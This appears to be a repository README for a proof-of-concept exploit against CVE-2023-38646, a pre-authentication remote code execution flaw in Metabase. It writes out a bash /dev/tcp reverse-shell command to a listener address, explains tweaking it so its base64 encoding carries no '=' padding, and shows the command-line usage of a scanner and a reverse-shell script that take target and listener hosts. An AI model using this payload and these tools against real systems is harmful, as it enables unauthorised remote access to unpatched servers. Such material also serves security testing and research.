yxl2001/cve-2023-38646PoC exploit for CVE-2023-38646, a pre-authentication RCE in Metabase. Includes a reverse shell payload generator with base64 encoding fix for reliable exploitation.
Original script from securezeron
During testing, I found that the reverse shell generated by this POC failed due to the trailing '=' character after base64 encoding. I made a slight modification to fix this issue.
# Original reverse shell payload generation code
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
# Modified reverse shell payload generation code without '='
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
Check setup token
options:
-h, --help show this help message and exit
--ip IP IP address
--list LIST Filename containing list of IP addresses
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
Check setup token
options:
-h, --help show this help message and exit
--rhost RHOST Metabase server IP address (including http:// or https:// and port number if needed)
--lhost LHOST Listener IP address
--lport LPORT Listener port (default is 4444)
For more vulnerability information, see https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/